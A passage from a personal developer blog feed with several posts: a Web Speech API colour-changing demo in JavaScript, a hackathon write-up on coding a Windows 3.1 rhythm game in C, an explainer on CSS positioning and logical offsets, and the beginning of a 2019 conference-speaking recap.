  window.msSpeechRecognition ||
  window.oSpeechRecognition ||
  window.SpeechRecognition;
const speechGrammarList =
  window.webkitSpeechGrammarList ||
  window.mozSpeechGrammarList ||
  window.msSpeechGrammarList ||
  window.oSpeechGrammarList ||
  window.SpeechGrammarList;
const speechSynthesis = window.speechSynthesis;

That's pretty much to cover different browser implementations if they decide to use vendor-prefixes.

if (speechRecognition !== undefined) {
  addClass("speech");
  detectSpeech();
} else {
  addClass("no-speech");
}

Also, sprinkle on some CSS classes to indicate if a browser doesn't support SpeechRecognition yet. I used to do this with pseudo-elements when I didn't or couldn't add an additional HTML element to hold the warning text, but realised that was a really inaccessible way to do things.

My suggestion for messing around with experimental APIs is to have a script to detect if the browser supports it or not, then design and build your demo or application to handle either scenario. It doesn't have to be a major effort, sometimes a small message will do.

Less talk more code

Now, on to the meat of the project. We start off by creating a new speechRecognition() instance as well as a new speechGrammarList(), to hold all our SpeechGrammar objects.

function detectSpeech() {
  const recognition = new speechRecognition();
  const speechRecognitionList = new speechGrammarList();

The speechGrammarList() object has a method called addFromString(), which takes in a our grammar as a string. There is an optional second parameter that defines the weight of this grammar in relation to others in the array.

speechRecognitionList.addFromString(grammar, 1);

The speechRecognition() instance also has a number of attributes which we can set. The first thing is to add our SpeechGrammarList to the instance with the grammars attribute. Use lang to set the language of the recognition for the request.

recognition.grammars = speechRecognitionList;
recognition.lang = "en-US";

The other 3 attributes are continuous, which allows the user agent to return more than 1 final result representing multiple consecutive responses to starting a recognition. interimResults controls whether interim results of the recognition are returned and maxAlternatives sets the maximum number of alternatives returned.

All these attributes have default values which I left alone because my application only used the most simple of basic functions.

The speechRecognition() instance also has a number of methods, which are used to actually do stuff. Calling the start() method indicates that you want the service to start listening and matching grammars with the input media stream. I trigger this when the big ol' button is pressed.

micBtn.addEventListener(
  "click",
  function () {
    recognition.start();
    consoleLog.innerHTML = "Ready to receive a colour command.";
  },
  false
);

Speech recognition on the web, like many web APIs, is an event-driven interface. SpeechRecognition uses the DOM Level 2 Event Model for this, and we can listen to a bunch of events to know when to make our application do certain things.

The most important, IMO, is when results come in. The result event will be fired when a result is successfully received. We get returned an object called the SpeechRecognitionResultsList that has a bunch of SpeechRecognitionResult objects.

recognition.onresult = function (event) {
  const last = event.results.length - 1;
  const colour = event.results[last][0].transcript;
  const sanitiseColour = colour.replace(/\s/g, "");
  consoleLog.innerHTML =
    "You probably said: " + sanitiseColour + ".\nConfidence: " + event.results[0][0].confidence;
  docBody.style.setProperty("--bg-colour", sanitiseColour);
};

To get to the transcript of what was said and sent to the recognition engine, we use event.results[last][0].transcript. We can use that syntax because the results object comes with a getter.

We then remove the spaces between words because CSS colour values don't work with spaces, then print the result to screen. That same value can be used to update the CSS custom property of --bg-colour and change the colour of the background of the web page.

After all is said and done, we want to stop listening to more audio, so call stop() when the speechend event fires.

recognition.onspeechend = function () {
  recognition.stop();
};

If the speech recognition engine can't tell what was being said, the nomatch event will fire and we can inform the user that we didn't pick up what was said.

recognition.onnomatch = function () {
  consoleLog.innerHTML = "Sorry, could not tell what you said.";
};

And finally, in case of some other error, we want to display that to the user as well.

recognition.onerror = function (event) {
  consoleLog.innerHTML = "Recognition error: " + event.error;
};

I then got the hare-brained idea to add the second part of the WebSpeech API into this ridiculous demo as well. Because why shouldn't we get the browser to read the results back to us?

Making the browser respond

I was under the impression that text-to-speech could be done locally but I also noticed one of the SpeechSynthesis methods was getVoices(), which returns a list of available voices on the current device.

So I had a function that would populate a <select> element with a list of voices to pick from the read the results. getVoices() returns an array, which we can then loop over and generate <option> values for the select dropdown.

Each option would have attributes for the name of the voice (.name) and the language of the voice (.lang) which are both retrieved from getVoices().

function populateVoiceList() {
  const select = document.getElementById("pickVoice");
  voices = speechSynthesis.getVoices();
  voices.forEach(function (voice) {
    const option = document.createElement("option");
    option.textContent = voice.name + " (" + voice.lang + ")";
    if (voice.default) {
      option.textContent += " -- DEFAULT";
    }
    option.setAttribute("data-lang", voice.lang);
    option.setAttribute("data-name", voice.name);
    select.appendChild(option);
  });
}

After some searching around, I found this article by Flavio Copes which highlighted a cross browser issue with Chrome's speechSynthesis.getVoices() that needed a callback when the voices had been loaded.

He mentioned that it might be because Chrome checks Google's servers for additional languages. So I tested this with the available browsers I had on hand, namely Chrome, Firefox and Safari, both with network connectivity and without.

With or without connectivity, Firefox and Safari return the same list of voices. Fun fact, Safari includes 2 “Daniel”s, which is the en-GB voice, one of which is premium, whatever that means.

/* Chrome's Daniel */
{
  default: true,
  lang: "en-GB",
  localService: true,
  name: "Daniel",
  voiceURI: "Daniel"
}

/* Firefox's Daniel */
{
  default: true,
  lang: "en-GB",
  localService: true,
  name: "Daniel",
  voiceURI: "urn:moz-tts:osx:com.apple.speech.synthesis.voice.daniel.premium"
}

/* Safari's Daniel */
{
  default: true
  lang: "en-GB"
  localService: true
  name: "Daniel"
  voiceURI: "com.apple.speech.synthesis.voice.daniel.premium"
}

Without connectivity, Chrome returns the same list as Firefox, but with connectivity, it returns an additional 19 voices, bringing the option list up to 66. Those voices have localService marked false.

/* only show the voice list drop down if there are results */
docBody.style.setProperty("--display", "block");
/* populate the select with available voices as options */
populateVoiceList();
speechSynthesis.addEventListener("voiceschanged", function () {
  populateVoiceList();
});

We then need to create a new SpeechSynthesisUtterance() instance using its constructor, with the text from the speech recognition results as a parameter. If people want to change the voice used to speak the result, they can do so by selecting the available voices.

const responseForm = document.getElementById("hearResponse");
responseForm.addEventListener(
  "submit",
  function (event) {
    event.preventDefault();
    const select = document.getElementById("pickVoice");
    speechSynthesis.cancel();
    const utterStuff = new SpeechSynthesisUtterance(result);
    const selectedVoice = select.selectedOptions[0].getAttribute("data-name");
    voices.forEach(function (voice) {
      if (voice.name === selectedVoice) {
        utterStuff.voice = voice;
      }
    });
    speechSynthesis.speak(utterStuff);
  },
  false
);

This would take into account the choice of voice to be used to speak the results, and finally the speak() method would be called with the SpeechSynthesisUtterance instance passed into it as a parameter.

What about non-English languages?

The Cloud Speech-to-Text language support page lists all the languages that it supports, so I suppose it should cover everything on that list. I may be wrong, because I did not verify this.

I guess there aren't that many WebSpeech demos around to begin with for now, much less those in languages other than English. But in order to figure things out for myself, I had to build one. The only non-English language I'm fluent in is Chinese, so guess what language the demo is in?

The code from the CSS colour thing was pretty much reusable for the WebSpeech portion. The most important thing I got out of it was what you set as recognition.lang, i.e. the string for the lang attribute of the SpeechRecognition() instance.

It took me a bit of Googling before finding this StackOverflow answer by Timm Hayes, which had the list of language codes. If you put in a language code that isn't supported, you will get the no-speech error message.

For Chinese, I thought it would be the generic zh or zh-hans, but nooooooo.

If you look at the post, you'll find that the code for Simplified Chinese was cmn-Hans-CN, which is what I used in my test demo. Speaking of which, the test demo involves you yelling a zodiac animal name at your browser.

It's called 十二生肖 and doesn't take into account what happens if you don't say the right thing. Because I haven't gotten around to that yet. Be accurate, my friends.

Source code here.

You can also tweak the text-to-speech language option list by filtering for the language of choice. This is probably relevant to languages with variants only, or you could try leaving the list unfiltered for interesting results when you mix languages that are non-English.

voices.forEach(function(voice) {
  const lang = voice.lang;
  if (lang.includes('zh')) {
    /* do the option list generation thing */
  }
}

Wrapping up

This post was supposed to be published long before 2020, but here we are. Life happens, my friends. Anyway, if you speak a non-English language and build something with the WebSpeech API in it, tell me about the results, if you like.

I'm also pretty curious to see how all my demos work once Firefox switches over to Deep Speech. Exciting times for voice interfaces on the web it seems.

Resources

Building a Windows 3.1 application in 2019

Sat, 11 Jan 2020 00:00:00 GMT

Oh, how time flies. A little over 2 years ago, we had the first Super Silly Hackathon, and yesterday we had our third one. In case you're unfamiliar with the concept, it is a hackathon for people who want to build anything for no good reason.

It's a spin-off the original “SF stupid shit no one needs and terrible ideas hackathon” but totally local, i.e. maxed-out Singlish. I had been a participant for the first one back in 2017 and somehow emcee-d the second one in 2018.

The only friend I have who is as interested in 90s computing is Kheng Meng, with whom I've collaborated for various retro-computing related projects over the years. We were “Team 486” back in 2017 and in 2019 we became “3.1”.

The idea

So Kheng Meng pinged me about doing something together for this year's Super Silly Hackathon around DOS or Windows 3.1, since we already had the hardware for it. Yes, you heard right. In 2019, we have actual hardware running those OSes. 😎

At the time, I was still on the road a lot so I didn't really think too hard about it. But I happened to download a game called Epic Orchestra and had the hare-brained idea to try building it on PICO8 and getting it to run on The Magic Machine.

But after a bit of thought, we figured that it would be a bit too ambitious.

The idea to develop a Windows 3.1 application was still do-able though, so we went with that instead. Keeping in mind that I had zero prior knowledge about building anything for Windows 3.1, but Kheng Meng had already built a Slack client on Windows 3.1. So it's clear who is the reliable one here.

The AH-MAZ-ING workflow

If you asked me, I thought the app itself was nothing special. It was just matching up, down, left and right when their respective characters showed up on the screen. But the process and hardware setup was most fun and interesting.

The setup involved 4 PCs, a router and DA BOOK. Our end goal was to write an application that would run on an actual Windows 3.1 system, which was running on Kheng Meng's Thinkpad 390e (AKA The Magic Machine)

We would be writing the code on our modern MacBook Pros. Both Kheng Meng and I used VS Code as our editor, and a bit later into the day I suggested we use the Live Share extension to work on the same file. This worked out really nicely.

Windows 3.1 is a 16-bit operating system, so our compiler needs to be able to compile to 16-bit. Kheng Meng decided to go with Microsoft Visual C++ on a Windows 2000 system on VirtualBox to compile the application.

Modern Macs are unable to communicate with the Windows 3.1 system directly, hence we needed the Windows XP system as a go-between. The Windows XP machine was linked up to the Mac via Samba.

We also had a local LAN (that's why the router is there), which allowed the Windows XP system and Windows 3.1 system to access the same shared folder. That's how we got the compiled executable from the Mac through to the Windows 3.1 machine.

Refer to this handy diagram for a visual overview of what we were doing:

The application development process

Even though I haven't written a lot of code with Kheng Meng before, turns out we pair program really well. Zero arguments about variable names (because I heard that's a thing people argue about) at all. I don't know how rare that is but I cherish it.

So the original end goal was a music rhythm game, where you would match key strokes to falling arrows on the screen in time with music. That was a fairly grand end goal, given neither of us were familiar with building games.

Instead, we started with the very basic of basics. Okay, maybe one little step beyond the basics. Kheng Meng had cloned a scaffold starter, Win16-Example-Application, that came with a tutorial on how to build a Win16 GUI application in C.

Because of the 16-bit nature of our application, we wrote it with the C89 flavour of C. Fun times, my friends. Also, Google was only nominally helpful because this style of application development was literally years before Google and StackOverflow.

Also, it's hackathon code, so don't judge… ¯\_(ツ)_/¯

Step 1: Render a character on the application window

There was no version control during much of the process so this is really based on my sketchy memory, but I think the first thing we did was try to render some test text on the screen. There are 2 ways to do that, TextOut() and DrawText(), and we used TextOut() first.

TextOut(hdc, 10, 10, "Test", 4);

The first parameter hdc refers to device context, that holds state information for GDI (graphics device interface) drawing tools. The next 2 are x and y coordinates of the starting position of the string respectively.

Then we have the pointer to the string, and finally the number of characters in the string. This has to go into the WM_PAINT label for things to work. Also, the return 0 is required for the program not to crash. I think.

LRESULT CALLBACK MainWndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
    HDC hdc;
    PAINTSTRUCT ps;

    switch (msg)
    {
        case WM_PAINT:
        {
            hdc = BeginPaint(hWnd, &ps);
            TextOut(hdc, 10, 10, "Test", 4);
            return 0;
        }
    }
    return DefWindowProc(hWnd, msg, wParam, lParam);
}

Step 2: Render 4 arrow characters on the screen

To be fair I was supposed to prepare assets like the music file and sprites, but I did not. Life happens. But no matter, because we epitomise the minimal in minimal viable product. Same code, different position.

TextOut(hdc, 10, 10, "<", 1);
TextOut(hdc, 20, 10, ">", 1);
TextOut(hdc, 30, 10, "^", 1);
TextOut(hdc, 40, 10, "v", 1);

If you squint hard at my screenshot, you'll notice that the up character, which is a caret is tinier than the others. We never did figure out how to change the font size. Oh well.

Step 3: Detect keypress in application

It's supposed to be a matching game, right? So the first step to any actual matching is for the application to detect keypresses. Cue DA BOOK.

I'm generally neutral about using reference books, except that I've been so spoiled by search functions in digital that when I flip the index to locate my topic of interest and find the entry labeled as see THIS_OTHER_THING, I'm like (╯°□°）╯︵ ┻━┻

Kheng Meng had set up the application with some debugging functionality by adding a smprintf.h file, modified from Small printf source code by Georges Menie to include putDebugChar.

The idiot that I am, instead of running the application via Debug > Go, I chose to run the executable instead, which means none of my printf statements got printed anywhere. It took a good extra 45 minutes with Kheng Meng a couple days after the hackathon to figure this out.

The code to detect a keypress is not too complicated, for example, to detect the left arrow key you need something like this:

case WM_KEYDOWN:
{
    if (wParam == VK_LEFT)
    {
        printf("Pressed left\n");
    }
    return 0;
}

And we repeated this for the other 3 arrow keys, so we had all four directions covered.

Step 4: Render a character every second

This next bit required a timer. Here's where DA BOOK came in handy because we literally copied the relevant function out of it, like how kids used to write games back in the 80s.

But first, we need to run a timer in our application. DA BOOK had a chapter dedicated to timers, and the gist of things looks something like so (the following just prints the word “Timer” to output every second):

case WM_CREATE:
{
    printf("Created\n");
    SetTimer(hWnd, DROP_SPEED_TIMER, DROP_SPEED, NULL);
    return 0;
}

case WM_TIMER:
{
    switch(wParam)
    {
        case DROP_SPEED_TIMER:
        {
            printf("Timer\n");
        }
    }
}

We arbitrarily set the timer to 1000ms so it ticked every second. Then, we wanted to try to render stuff every second, so in this case, we tried it with an arrow every second by updating the position of the character per tick.

case WM_TIMER:
{
    printf("Timer\n");
    position += 20;
    InvalidateRect(hWnd, NULL, FALSE);

    return 0;
}

The variable position was declared somewhere near the top of the file, but anyway, InvalidateRect() is what triggers WM_PAINT to run every interval of the timer, thus painting a new arrow at a new position on the screen per tick.

Step 5: Render a single different character every second

The next thing to try was to make a different arrow show up per tick. For that, we created another variable to hold a number that would loop around from 0 to 3. Then wrote a switch statement such that a different arrow character would be painted per tick.

case WM_TIMER:
{
    printf("Timer\n");
    arrow = (arrow + 1) % 4;
    InvalidateRect(hWnd, NULL, FALSE);
    return 0;
}

case WM_PAINT:
{
    hdc = BeginPaint(hWnd, &ps);
    SetRect(&targetRect, position, 50, 110, 440);

    switch (arrow)
    {
        case 0:
        {
            DrawText(hdc, "<", 1, &targetRect, DT_CENTER | DT_NOCLIP);
            break;
        }
        case 1:
        {
            DrawText(hdc, ">", 1, &targetRect, DT_CENTER | DT_NOCLIP);
            break;
        }
        case 2:
        {
            DrawText(hdc, "^", 1, &targetRect, DT_CENTER | DT_NOCLIP);
            break;
        }
        case 3:
        {
            DrawText(hdc, "v", 1, &targetRect, DT_CENTER | DT_NOCLIP);
            break;
        }
    }
    EndPaint(hWnd, &ps);
    return 0;
}

At some point we added a random number generator so the arrow characters were printed at random, as well as at random time intervals, but refactored that out because it wasn't relevant to our end goal of falling arrows.

Step 6: Render characters falling down the screen

Speaking of falling arrows, once we figured out most of the painting bits, the next thing was to create the effect of falling arrows down the window.

We're not sure if this is the correct way to do things, but we decided to go with having a fixed array of rectangles evenly distributed down the window.

int fallingArrows[ARROW_COORD] = {0};
int arrowPositionForIndex[ARROW_COORD] = {380, 360, 340, 320, 300, 280, 260, 240, 220, 200, 180, 160, 140, 120, 100, 80, 60, 40, 20};

The arrows in these rectangles would be repainted per tick of the timer. And we would generate a new character at the top of the array and shift the rest of the values up the index. The index of each character would be tied to their y-coordinates on the window.

case WM_PAINT:
{
    hdc = BeginPaint(hWnd, &ps);

    for (i = 0; i < ARROW_COORD; i++)
    {
        yCoord = arrowPositionForIndex[i];
        SetRect(&targetRect, 90, yCoord, 110, 440);

        switch(fallingArrows[i])
        {
            case 0:
            {
                DrawText(hdc, "<", 1, &targetRect, DT_CENTER | DT_NOCLIP);
                break;
            }

            case 1:
            {
                DrawText(hdc, ">", 1, &targetRect, DT_CENTER | DT_NOCLIP);
                break;
            }

            case 2:
            {
                DrawText(hdc, "^", 1, &targetRect, DT_CENTER | DT_NOCLIP);
                break;
            }

            case 3:
            {
                DrawText(hdc, "V", 1, &targetRect, DT_CENTER | DT_NOCLIP);
                break;
            }

            default:
            {
                DrawText(hdc, "   ", 3, &targetRect, DT_CENTER | DT_NOCLIP);
                break;
            }
        }
    }
    return 0;
}

It's quite hacky, but this IS a hackathon, so…

There was also the issue of how we were unable to get the application to play audio, so the hopes of building a music-backed rhythm game went right out the window, and we had to be content with just the keypress matching part of things.

To make things less boring and predictable, we didn't want arrows to be generated every second. There would be instances where no arrows were generated, i.e. blank rectangle, so you wouldn't press any keys then.

for (i = 0; i < ARROW_COORD - 1; i++)
{
    fallingArrows[i] = fallingArrows[i + 1];
}

fallingArrows[ARROW_COORD - 1] = rand() % 8;

After some trial and error, we figured that a modulo of 8 generated just enough blanks to keep things interesting.

Step 7: Match keypress to character at specific position

The new point of our game was to press the appropriate arrow key when the character appeared in a specific rectangle near the bottom of the window.

For that, we needed to draw a “target” rectangle to indicate when the player ought to press the respectively keys. Back to DA BOOK for advice on how to do that.

We needed to add an hBrush and use the FrameRect() function to draw the target rectangle. These were added to the WM_PAINT section of the application.

case WM_PAINT:
{
    hBrush = CreateSolidBrush(RGB(255, 0, 0));
    SetRect(&targetRect, 90, 358, 110, 378);
    FrameRect(hdc, &targetRect, hBrush);
}

The fallingArrows array would also come in handy for this particular functionality we wanted of keypress matching.

case WM_KEYDOWN:
{
    if (wParam == VK_LEFT)
    {
        if (fallingArrows[1] == 0)
        {
            printf("Left Hit");
        }
        else
        {
            printf("Left Miss");
        }
    }
    else if (wParam == VK_RIGHT)
    {
        if (fallingArrows[1] == 1)
        {
            printf("Right Hit");
        }
        else
        {
            printf("Right Miss");
        }
    }
    else if (wParam == VK_UP)
    {
        if (fallingArrows[1] == 2)
        {
            printf("Up Hit");
        }
        else {
            printf("Up Miss");
        }
    }
    else if (wParam == VK_DOWN)
    {
        if(fallingArrows[1] == 3){
            printf("Down Hit");
        } else {
            printf("Down Miss");
        }
    }
    else {
        printf("Arrow keys only la");
    }
}

You'd think most of the work would be done by now, but no, because every game needs a scoring mechanism and this turned out to be a bit more tricky than we anticipated.

Step 8: Add scoring mechanism

If you think about it, there are 2 possible results from a keypress. You either “Hit” or “Miss”. So at first, we figured a boolean would do, 1 for Hit, 0 for Miss. Easy.

Wrong.

There is also the case of if you were supposed to press something, but you did not. Then that registers as a “Miss” as well.

The third situation is when the rectangle was blank and you didn't press anything. That is a correct situation, but it is neither a “Hit” nor “Miss”.

It got to a point where just talking about it made me confused, so we fell back to the trusty logic table. Originally drawn on a random piece of A4 paper Kheng Meng used as a mouse pad, I didn't think to snap a photo of it.

Press key | Matches Arrow | Score
    ✓            ✓            1
    ✓            x            0
    x            x            0
    x            ✓            0

Something like that.

So we introduced a new variable called stateOfLastAction. Kheng Meng mentioned that we should have used enumeration for this, but again, hackathon. And it was late in the day, our brain cells were depleted. This was added to the WM_TIMER section of the application:

if (stateOfLastAction == 2 || (stateOfLastAction == 0 && (fallingArrows[1] < 4)))
{
    hitMissBlank = 2;
    if (score > 0)
    {
        score--;
    }
}

if (stateOfLastAction == 1)
{
    score += 2;
    hitMissBlank = 1;
}

if (stateOfLastAction == 0 && (fallingArrows[1] > 3))
{
    hitMissBlank = 0;
}

stateOfLastAction = 0;

Step 9: Add game start, stop and timer

Lastly, we tossed in some user experience enhancements (actually, these are probably the most basic things one needs to include in a game), like a start and stop trigger, as well as a timer to indicate when the game was over.

There were also some instructions to tell people which keys to press to start the game, and an indicator to show if you hit or missed the target. Plus a count-down timer. By then, we were too tired to draw more rectangles, so TextOut() for everything!

If you're really interested in our hacky code, the source is on GitHub.

Presentation time

The application itself really isn't anything exciting. But I really enjoyed working with Kheng Meng. It's kind of like when you travel with a friend for the first time, spend more than a week together almost 24-7 and at the end of it, still haven't killed each other.

Then you know that your friendship has passed the test.

Same thing.

Wrapping up

Videos for all the presentations are on Engineers.SG, our local archive of tech talks in Singapore. I have a bunch of personal favourites from this edition.

Firstly, Thai Pangsakulyanont's (team name dtinth, with a lower-case d) Super Silly Vortex, which is the most amazing thing in the world. Thai is THE BEST.

Also, Special Password by team Mr Chia who is not here (made up of Gao Wei, Shawn Wang and See Yishu), and the video contains swearing because of me, so you have been warned.

And, Magic Wand by Vanessa Cassandra (team name Magical Girl). So magic, much win.

Every hack was fantastic in their own right though, so go check out the nonsense everyone had a lot of fun building. If you steal anybody's idea and become rich, do the right thing and credit them back, ok?

Understanding positioning in CSS

Wed, 18 Dec 2019 00:00:00 GMT

I was at JSConf China earlier this year, which happened in Shanghai from 19–20 Oct. There was fairly decent representation from Singapore I would say.

Wei (whom I probably mention every second blog post I write) was the opening keynote for Day 2, and it was one of the best if not THE best talk of the conference IMHO.

We also had Yong Jun (another good friend of mine), who gave a workshop on the rather interesting topic of scrolly-telling. He works in the graphics department for Singapore Press Holdings and has lots of experience creating interactive graphics and visualisations.

Yong Jun had developed an open-source scrolly-telling library that he used for a lot of his projects and it uses position: sticky for “snapping” content into place.

During the workshop, he posed the question of why just applying position: sticky alone on an element doesn't work. And this gave me the idea to do another CSS property deep dive 🤓.

CSS is a team sport

CSS layout is not just one individual CSS property or even module. Everything on the web is a box. And the layout of these boxes are determined the following:

box dimensions and type
positioning scheme (normal flow, float, and absolute positioning)
relationships between elements in the document tree
external information (e.g., viewport size, intrinsic dimensions of images, etc.)

From this bit of information alone, we can pick out the following CSS modules (including those in draft status):

CSS Display Module Level 3 (CR)
CSS Box Model Module Level 3 (WD)
CSS Positioned Layout Module Level 3 (WD)
CSS2.1 section 9.5 Floats (REC)

The point I'm making here is, if you'd like to be fully equipped to build any layout you can imagine with CSS, I suggest understanding these different CSS modules and how they interact with each other. It definitely helped me out when I did so.

In all fairness, I really dug into all of it when I was preparing for my CSS Day talk back in 2018, which was pretty much 45 minutes about boxes. All talk details on Notist.

Positioning schemes

After boxes are generated, the way they are laid out depends on which positioning scheme they fall into:

Normal flow
Floats
Absolute positioning

Normal flow is the default, where boxes are laid out one after another, and will not overlap or intrude into each others' space. All boxes will be on the same stacking context as well.

Boxes that are floated are considered out-of-flow. When a box is floated, it is first laid out according to normal flow, but then is taken out the flow and shifted as far to the left or right as possible (depending on the float value).

Content will then flow along the side of the floated box. But the floated boxes still remain on the same stacking context as the non-floated ones.

An absolutely positioned box is completely removed from normal flow altogether, and its position is assigned with respect to its containing block.

The positioning algorithms used to calculate the position of a box on the page is determined by the position and float properties. I'll try my best to explain this in a way that makes sense. But first, let's look at them individually.

The `position` property

There are several values for this property, with sticky being added in Level 3 of the Positioned Layout Module, and currently supported in most major browsers even though it is still in a working draft status.

`position: static`

The default position value of any box. This results in the box being laid out in normal flow and the properties of top, bottom, left and right (also known as box offset values) will have no effect because the box is considered not positioned.

`position: relative`

Applying a position of relative to a box makes it positioned, and now the top, bottom, left and right values will have some effect.

The box will initially be laid out according to normal flow, then depending on the aforementioned box offset values, will be offset relative to its normal position.

If there are other non-positioned boxes next to this positioned box, they will not be affected even if offset values are present. This means there may be the possibility of overlap.

Also, if the offset causes the box to have overflow, this may result in scrolling, which would affect layout. When a box becomes relatively positioned, it becomes the new containing block for its children.

`position: sticky`

A sticky positioned box works similarly to that of a relatively positioned box. The difference is that the offset is computed to the nearest ancestor with a scrolling box, or the viewport if none such ancestor exists.

This ties in to Yong Jun's original question of why applying position: sticky alone on a box is insufficient to achieve the sticky effect. The box, without any offsets, behaves as though it was in normal flow, because it is.

Only when the offset values are something other than auto will the box start to behave differently from a relatively positioned box. The wording in the specification comes across slightly cryptic to me, but my understanding is that there is an intersection between the sticky box and its containing box when you apply a box offset value.

This intersection is called a sticky-constraint rectangle and is used to contain the location of the sticky box. The specification uses the term “projects above/below/outside” but I'm not sure if my understanding is the same as what the specification authors intended.

What I do know is that when you define an offset value, the offset will never push the sticky box outside its containing block, but the sticky box is free to move within the containing block as the page is scrolled, hence the perception of it being pinned to the relevant edges.

`position: absolute`

An absolutely positioned box is explicitly offset with respect to its containing block, and the box does not participate in the normal flow at all. Its later siblings will not know about its existence in the greater layout.

Contents of an absolutely positioned box do not flow around any other boxes and may overlap other boxes, and depending on the stack level of the boxes, content may be obscured by the overlap.

`position: fixed`

A fixed position box behaves similarly to an absolutely positioned box. The key distinction is that the containing block is always the viewport.

Box offset values

Traditionally, the box offset values most developers are familiar with are top, bottom, left and right. And I don't think it's a generalisation to say that most developers from the West don't give a second thought to writing modes that are anything other than horizontal top-to-bottom.

But when you use a writing mode that is right-to-left, for example, or vertical writing, then these physical values of top, bottom, left and right make less sense. For example, the top of your content may not be the physical top of the browser viewport.

As someone who grew up exposed to writing systems in different directions from the Western default, this was not hard for me to wrap my head around, but that may not be the case for many folks from the West.

Naming is always hard, especially when it does not exactly correlate with real life / usage expectations / metaphors. At least the terms used are consistent with other CSS properties. You need to know how block and inline behave and have some imagination.
— Ecaterina Moraru (@evalica) November 7, 2019

This is why I appreciate it when influential folks in our industry start talking about these lesser known aspects of web development, especially on the internationalisation side of things, because they have a wider reach and can help something considered obscure become more mainstream.

Logical box offset values

The matrix of writing directions and their corresponding values for a box's physical sides and logical sides are as follows (the table has been lifted from the specification as of time of writing):

		writing-mode / direction
		horizontal-tb		vertical-rl		vertical-lr
		ltr	rtl	ltr	rtl	ltr	rtl
Edge	top	inset-block-start	inset-block-start	inset-inline-start	inset-inline-end	inset-inline-start	inset-inline-end
	right	inset-inline-end	inset-inline-start	inset-block-start	inset-block-start	inset-block-end	inset-block-end
	bottom	inset-block-end	inset-block-end	inset-inline-end	inset-inline-start	inset-inline-end	inset-inline-start
	left	inset-inline-start	inset-inline-end	inset-block-end	inset-block-end	inset-block-start	inset-block-start

This is probably easier to visualise with a diagram (or live code if your browser supports it). The following is for horizontal-tb:

Mapping for horizontal-tb

The following is for vertical-rl:

Mapping for vertical-rl

The following is for vertical-lr:

Mapping for vertical-lr

Wrapping up

I suggest opening this CodePen in a full browser window and playing around with the examples and CSS values to get a feel of how everything fits together (or you could select the 0.5x option in the embed).

See the Pen Understanding CSS positioning by Chen Hui Jing (@huijing) on CodePen.

There are plenty of useful resources that cover CSS positioning, so if my explanation doesn't work for you, try someone else's article or the specification directly. It is definitely worth the effort in the long run to figure out this important aspect of CSS layout for yourself.

CSS Positioned Layout Module Level 3 Working Draft
MDN: Positioning
CSS Position Sticky - How It Really Works!
5 Things You Might Not Know About the CSS Positioning Types
Advanced Positioning (slightly older article so no sticky in here)
CSS Positioning 101 (slightly older article so no sticky in here)

Talking about talking CSS 2019 edition

Sun, 15 Dec 2019 00:00:00 GMT

November 24, 2016. The day I gave my first conference talk at CSSConf.Asia.

June 3, 2017. The day I spoke at a conference outside of Singapore for the first time at Webconf.asia.

Time doesn't stand still. And dates are simply mental milestones we use to commemorate significant events in our lives. If you choose to take a rational view on this, it is simply our way of assigning meaning to a meaningless thing. But humans are not rational beings. And it is the most human thing, in my eyes, to remember the past.

I've been speaking internationally for 2 years now (2017 recap, 2018 recap), and it still feels surreal every time I stand in front of an audience. And I still feel immense gratitude to organisers who bring me out. I don't think that will ever change, but if it does, someone please hit me with a mallet.

DevRelCon Tokyo 2019 @ 🇯🇵 on 9 Mar
CSSConf China 2019 @ 🇨🇳 on 30 Mar
JSHeroes 2019 @ 🇷🇴 on 24 Apr
ImageCon 2019 @ 🇺🇸 on 2 May
YGLF Vilnius 2019 @ 🇱🇹 on 16 May
CSSConf EU 2019 @ 🇩🇪 on 31 May
Pixel Pioneers Bristol 2019 @ 🇬🇧 on 7 Jun
JSConf.Asia 2019 @ 🇸🇬 on 14 Jun
Mozilla Developer Roadshow Europe @ 🇩🇪🇦🇹 from 26–29 Aug
CONNECT Asia 2019 @ 🇸🇬 on 31 Aug
Connect Fest 2019 @ 🇵🇹 on 6 Sep
Web Weekend Kathmandu 2019 @ 🇳🇵 on 21 Sep
JekyllConf 2019 @ 🌐 on 22 Sep
Finch Front-end 2019 @ 🏴󠁧󠁢󠁳󠁣󠁴󠁿 on 23 Sep
CSSConf Budapest 2019 @ 🇭🇺 on 25 Sep
View Source 2019 @ 🇳🇱 on 1 Oct
Fronteers 2019 @ 🇳🇱 on 3 Oct
Mozilla Developer Roadshow Asia @ 🇯🇵🇰🇷🇹🇼🇸🇬🇹🇭 from 11–20 Nov
DevFest & BizFest Georgetown 2019 @ 🇲🇾 on 30 Nov
DevFest Kuala Lumpur 2019 @ 🇲🇾 on 7 Dec

🇯🇵 @ DevRelCon Tokyo

I had joined Nexmo's Developer Relations team last September and this was my first DevRelCon. My colleague, Myrsini, was giving a talk on hackathons as an internal advocacy tool and I was simply tagging along as an attendee.

She did ask if I wanted to submit a lightning talk, but at that point, I figured I didn't know enough about DevRel to talk about anything useful. So I said, nope. But as fate would have it, I read the article, The deadly truth about a world built for men – from stab vests to car crashes, just before heading out to the venue.

The content in that article touched a nerve and by the time I made it to the venue, I had this compulsion to submit a lightning talk topic on the value of sharing our perspectives.

Given how last minute this was, I didn't REALLY expect to have to give the talk. But during lunch, I found out that the submission was accepted, so it was game on from lunch until my slot at 5pm.

I pulled together 20 slides, and went through the talk in my head a couple times to get the timing down just right because you do get “samurai-ed” off the stage if you go overtime (I love this idea, by the way).

Thankfully, the feedback I received was positive and here's the transcript plus extended recap of the whole endeavour, if you're interested.

🇨🇳 @ CSSConf China

There were a surprising number of firsts with regards to conference speaking this year. And giving a talk at CSSConf China was one of them. Not only because it was my first time in China since 2002, but also because it was my first time delivering a technical talk in Chinese.

I consider myself a native Chinese speaker, but it's one thing to converse about everyday things and quite another to stand on stage and talk about CSS and web technologies. Luckily for me, the fates blessed me by allowing me to cross paths with Wei.

You know how you meet someone and even though you've just met, you feel like you've known them forever? That's how I felt (I don't know how she feels about all this, go ask her yourself). I literally asked her the question “OMG, where have you been all my life?” multiple times.

Anyway, she's originally from Beijing and kindly offered to vet my transcript for the talk, fixing all the ridiculous errors that arise from a person who clearly hasn't used formal language in a long time.

CSSConf China was a great experience. It was a community-focused conference with more than 300 attendees. There was one English talk by Brian Birtles, while the rest were all in Chinese. Every single speaker was brilliant. What I found fascinating was how each of their unique personalities really shone through on stage.

